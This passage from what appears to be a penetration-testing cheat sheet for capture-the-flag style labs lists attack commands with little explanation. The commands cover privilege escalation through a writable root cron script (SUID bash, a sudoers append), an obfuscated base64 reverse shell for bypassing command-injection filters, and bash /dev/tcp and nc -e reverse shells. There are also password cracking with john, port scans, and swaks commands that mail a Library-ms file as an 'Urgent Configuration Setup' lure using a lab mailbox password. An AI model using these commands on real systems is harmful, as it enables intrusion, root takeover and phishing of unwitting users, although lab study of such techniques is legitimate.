(0-23)&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Column 3: Day of the month (1-31)&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Column 4: Month (1-12)&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Column 5: Day of the week (0-7, where both 0 and 7 represent Sunday)&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Column 6: User that executes the command&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Column 7: Command to execute&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;This means that every five minutes, root enters the &lt;code&gt;/var/www/html/&lt;/code&gt; directory and runs the &lt;code&gt;finally.sh&lt;/code&gt; script with sudo privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;When a file executed by a scheduled task runs as root and an ordinary user can modify that file&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;chmod u+s /bin/bash&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;chmod u+s /bin/bash&lt;/p&gt;&#10;&lt;p&gt;/bin/bash -p # Escalate to the root group&lt;/p&gt;&#10;&lt;p&gt;Or:&lt;/p&gt;&#10;&lt;p&gt;cp /bin/bash /var/www/html/suidbash&#10;chmod u+s /var/www/html/suidbash&lt;/p&gt;&#10;&lt;p&gt;suidbash -p # Escalate to the root group&lt;/p&gt;&#10;&lt;ol start="2"&gt;&#10;&lt;li&gt;sudo -l&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;echo &amp;lsquo;www-data ALL=(ALL) NOPASSWD: /var/www/html/finally.sh&amp;rsquo; &amp;raquo; /etc/sudoers&#10;Write sudo execution permission for the current account into sudoers, then add the u+s permission to the executable.&#10;Finally, run the file with sudo to escalate privileges, as shown below:&lt;/p&gt;&#10;&lt;p&gt;chmod u+s finally.sh&#10;echo &amp;lsquo;www-data ALL=(ALL) NOPASSWD: /var/www/html/finally.sh&amp;rsquo; &amp;raquo; /etc/sudoers&lt;/p&gt;&#10;&lt;p&gt;sudo -l&lt;/p&gt;&#10;&lt;p&gt;Matching Defaults entries for www-data on sar:&#10;env_reset, mail_badpass,&#10;secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin&lt;/p&gt;&#10;&lt;p&gt;User www-data may run the following commands on sar:&#10;(ALL) NOPASSWD: /var/www/html/finally.sh&lt;/p&gt;&#10;&lt;p&gt;echo &amp;lsquo;su root&amp;rsquo; &amp;raquo; finally.sh&#10;sudo /var/www/html/finally.sh&lt;/p&gt;&#10;&lt;h3 id="32bypassing-command-injection-restrictions"&gt;&lt;a href="#32bypassing-command-injection-restrictions" class="header-anchor"&gt;&lt;/a&gt;32.Bypassing Command-Injection Restrictions&#10;&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/3918" target="_blank" rel="noopener"&#10; &gt;Ways to Bypass Some Command-Injection Restrictions - Xianzhi Community&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;echo &amp;ldquo;YmFzaCAtYyAnZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi43NS85OTk5IDwmMSc=&amp;rdquo; | base64 -d | bash&lt;/p&gt;&#10;&lt;p&gt;echo Decode and execute&lt;/p&gt;&#10;&lt;h3 id="33reversing-pyc-with-uncompyle6"&gt;&lt;a href="#33reversing-pyc-with-uncompyle6" class="header-anchor"&gt;&lt;/a&gt;33.Reversing pyc with uncompyle6&#10;&lt;/h3&gt;&lt;p&gt;This is all you need to reverse a pyc file:&#10;uncompyle6 1.pyc &amp;gt; 1.py&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://tools.bugscaner.com/decompyle/" target="_blank" rel="noopener"&#10; &gt;Online decompiler for pyc, pyo, python, and py files; currently supports Python 1.5 through 3.6 - Online Tool&lt;/a&gt;&lt;/p&gt;&#10;&lt;h3 id="34reverse-shells"&gt;&lt;a href="#34reverse-shells" class="header-anchor"&gt;&lt;/a&gt;34.Reverse Shells&#10;&lt;/h3&gt;&lt;p&gt;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.2.75/9999 &amp;lt;&amp;amp;1&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;python -c &amp;lsquo;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;nc -e /bin/bash 192.168.31.17 7777&lt;/p&gt;&#10;&lt;h3 id="35john"&gt;&lt;a href="#35john" class="header-anchor"&gt;&lt;/a&gt;35.john&#10;&lt;/h3&gt;&lt;p&gt;echo &amp;lsquo;$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41&amp;rsquo; &amp;raquo;/tmp/1&#10;john /tmp/1 &amp;ndash;wordlist=/usr/share/wordlists/rockyou.txt&lt;/p&gt;&#10;&lt;p&gt;zip:&#10;zip2john passwd.zip &amp;gt; passwd.hash&lt;/p&gt;&#10;&lt;p&gt;john passwd.hash&#10;john passwd.hash &amp;ndash;wordlist=/usr/share/wordlists/rockyou.txt&lt;/p&gt;&#10;&lt;p&gt;john &amp;ndash;pot=new.pot hash.txt &amp;ndash;wordlist=/usr/share/wordlists/rockyou.txt&lt;/p&gt;&#10;&lt;h3 id="36process-discovery-with-pspy"&gt;&lt;a href="#36process-discovery-with-pspy" class="header-anchor"&gt;&lt;/a&gt;36.Process Discovery with pspy&#10;&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/DominicBreuker/pspy/releases/tag/v1.2.1" target="_blank" rel="noopener"&#10; &gt;Release No more waiting on drain · DominicBreuker/pspy · GitHub&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Upload and run it to inspect processes, then continue with privilege escalation.&lt;/p&gt;&#10;&lt;h3 id="37wordlists"&gt;&lt;a href="#37wordlists" class="header-anchor"&gt;&lt;/a&gt;37.Wordlists&#10;&lt;/h3&gt;&lt;p&gt;Directory brute-forcing wordlists:&lt;/p&gt;&#10;&lt;p&gt;/usr/share/wordlists/src/dirbuster/directory-list-2.3-big.txt&lt;/p&gt;&#10;&lt;p&gt;/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://www.cnblogs.com/shenlinken/p/10176682.html can manipulate wordlists, including deduplication and reverse sorting&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sort -u duweixin.net.txt&#9;&#9;#Remove duplicates&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sort -r duweixin.net.txt&#9;&#9;#Reverse sort&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This is very powerful&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;feroxbuster --url http://&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://rivers.chaitin.cn/blog/cqnmojp0lnec5jjug96g&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="38smtp"&gt;&lt;a href="#38smtp" class="header-anchor"&gt;&lt;/a&gt;38.smtp&#10;&lt;/h3&gt;&lt;p&gt;Common commands:&lt;/p&gt;&#10;&lt;p&gt;Command&#9;Purpose&lt;/p&gt;&#10;&lt;p&gt;helo smtp&#9;Greet the server and test whether login worked&lt;/p&gt;&#10;&lt;p&gt;auth login&#9;Log in to a specific mailbox; the username and password are base64-encoded&lt;/p&gt;&#10;&lt;p&gt;mail from&#9;Enter the email sender&lt;/p&gt;&#10;&lt;p&gt;rcpt to&#9;Enter the email recipient&lt;/p&gt;&#10;&lt;p&gt;data&#9;Start composing the email&lt;/p&gt;&#10;&lt;p&gt;quit&#9;Exit&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Greet the server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HELO mail.relia.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Start authentication&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AUTH LOGIN&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Enter the Base64-encoded username (maildmz@relia.com)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bWFpbGRtekByZWxpYS5jb20=&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Enter the Base64-encoded password (DPuBT9tGCBrTbR)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RFB1QlQ5dEdjQnJUYlI=&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MAIL FROM:&amp;lt;maildmz@relia.com&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RCPT TO:&amp;lt;RECIPIENT_EMAIL&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DATA&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Subject: Test email&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This is the email body&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. # A dot on its own line terminates the message body&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;swaks --to jim@relia.com \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --from maildmz@relia.com \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --server 192.168.183.189 \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --auth LOGIN \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --auth-user maildmz@relia.com \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --auth-password DPuBT9tGCBrTbR \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --header &amp;#34;Subject: Test Email Subject&amp;#34; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --body &amp;#34;This is the email body content.\nMultiple lines can be included.\n&amp;#34; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --attach file.txt \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --attach-type &amp;#34;text/plain&amp;#34; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --attach-name &amp;#34;custom_filename.txt&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Prefix attachments with @&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;swaks -to jim@relia.com --from maildmz@relia.com -ap --attach @configuration.Library-ms --server 192.168.183.189 --auth LOGIN --auth-user maildmz@relia.com --auth-password DPuBT9tGCBrTbR --body &amp;#34;This is the email body content.\nMultiple lines can be included.\n&amp;#34; --header &amp;#34;Subject: Urgent Configuration Setup&amp;#34; --suppress-data&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Here is a serious problem I ran into: I could not include an attachment.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create the email format&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat &amp;gt; email.txt &amp;lt;&amp;lt; &amp;#39;EOL&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;From: maildmz@relia.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;To: jim@relia.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Subject: Urgent Configuration Setup&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MIME-Version: 1.0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Content-Type: multipart/mixed; boundary=boundary&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--boundary&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Content-Type: text/plain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This is the email body content.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--boundary&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Content-Type: application/ms-library&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Content-Transfer-Encoding: base64&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Content-Disposition: attachment; filename=&amp;#34;configuration.Library-ms&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;EOL&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Base64-encode the file being sent and place it below&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;base64 configuration.Library-ms &amp;gt;&amp;gt; email.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# End&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--boundary--&amp;#34; &amp;gt;&amp;gt; email.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Request packet up to this point&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;swaks -to jim@relia.com \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --from maildmz@relia.com \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --auth LOGIN \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --auth-user maildmz@relia.com \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --auth-password DPuBT9tGCBrTbR \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --server 192.168.183.189 \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --data &amp;#34;$(cat email.txt)&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Common response codes:&lt;/p&gt;&#10;&lt;p&gt;Code&#9;Meaning&lt;/p&gt;&#10;&lt;p&gt;220&#9;SMTP is online and ready for operations&lt;/p&gt;&#10;&lt;p&gt;221&#9;Close the SMTP service&lt;/p&gt;&#10;&lt;p&gt;250&#9;The current operation completed successfully&lt;/p&gt;&#10;&lt;p&gt;334&#9;Waiting for input; appears during user login&lt;/p&gt;&#10;&lt;p&gt;235&#9;Authentication succeeded&lt;/p&gt;&#10;&lt;p&gt;535&#9;Authentication failed&lt;/p&gt;&#10;&lt;h3 id="39pop3"&gt;&lt;a href="#39pop3" class="header-anchor"&gt;&lt;/a&gt;39.pop3&#10;&lt;/h3&gt;&lt;p&gt;The POP3 protocol&lt;/p&gt;&#10;&lt;p&gt;The default POP3 port is 110. The POP3 protocol has two stages:&lt;/p&gt;&#10;&lt;p&gt;Authentication stage&lt;/p&gt;&#10;&lt;p&gt;The client enters a username and password for authentication, and the server returns OK or ERR.&lt;/p&gt;&#10;&lt;p&gt;Transaction stage&lt;/p&gt;&#10;&lt;p&gt;This stage supports basic email operations.&lt;/p&gt;&#10;&lt;p&gt;Common commands:&lt;/p&gt;&#10;&lt;p&gt;Command&#9;Purpose&lt;/p&gt;&#10;&lt;p&gt;user&#9;Enter the username&lt;/p&gt;&#10;&lt;p&gt;pass&#9;Enter the password&lt;/p&gt;&#10;&lt;p&gt;list&#9;List the number of messages and number them automatically&lt;/p&gt;&#10;&lt;p&gt;retr&#9;Retrieve a message by its number&lt;/p&gt;&#10;&lt;p&gt;dele&#9;Delete a message&lt;/p&gt;&#10;&lt;p&gt;quit&#9;Exit&lt;/p&gt;&#10;&lt;h3 id="40nmap"&gt;&lt;a href="#40nmap" class="header-anchor"&gt;&lt;/a&gt;40.nmap&#10;&lt;/h3&gt;&lt;p&gt;nmap -p- &amp;ndash;min-rate 10000 10.10.10.51&lt;/p&gt;&#10;&lt;p&gt;&amp;ndash;script vuln&lt;/p&gt;&#10;&lt;p&gt;find /usr/share/nmap/scripts -name &amp;lsquo;&lt;em&gt;wordpress&lt;/em&gt;&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;nmap -T4 -Pn -sC &amp;ndash;script http-wordpress-enum &amp;ndash;script-args http-wordpress-enum.root=&amp;quot;/webservices/wp/&amp;quot;,http-wordpress-enum.search-limit=&amp;ldquo;all&amp;rdquo;,http-wordpress-enum.check-latest=&amp;ldquo;true&amp;rdquo; -p80 tartarsauce.htb&lt;/p&gt;&#10;&lt;p&gt;nmap -p- &amp;ndash;min-rate 10000 -oA scans/nmap-alltcp 10.10.10.193&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://nmap.org/nsedoc/scripts/http-wordpress-enum.html" target="_blank" rel="noopener"&#10; &gt;https://nmap.org/nsedoc/scripts/http-wordpress-enum.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://nosec.org/home/detail/2844.html" target="_blank" rel="noopener"&#10; &gt;https://nosec.org/home/detail/2844.html&lt;/a&gt;&#9;# enumerate plugins&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Check host availability&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -sn 172.16.131.0/24&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Initial scan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -Pn -p 21,22,23,80,443,445,3389 172.16.131.0/24&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="41masscan"&gt;&lt;a href="#41masscan" class="header-anchor"&gt;&lt;/a&gt;41.masscan&#10;&lt;/h3&gt;&lt;p&gt;masscan -p 1-65535 10.10.10.58 &amp;ndash;rate=100&lt;/p&gt;&#10;&lt;h3 id="42nc"&gt;&lt;a href="#42nc" class="header-anchor"&gt;&lt;/a&gt;42.nc&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat aa.txt | nc -l -p 10000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -l -p 10000 &amp;lt; aa.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Client&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -n 192.168.1.100 10000 &amp;gt; 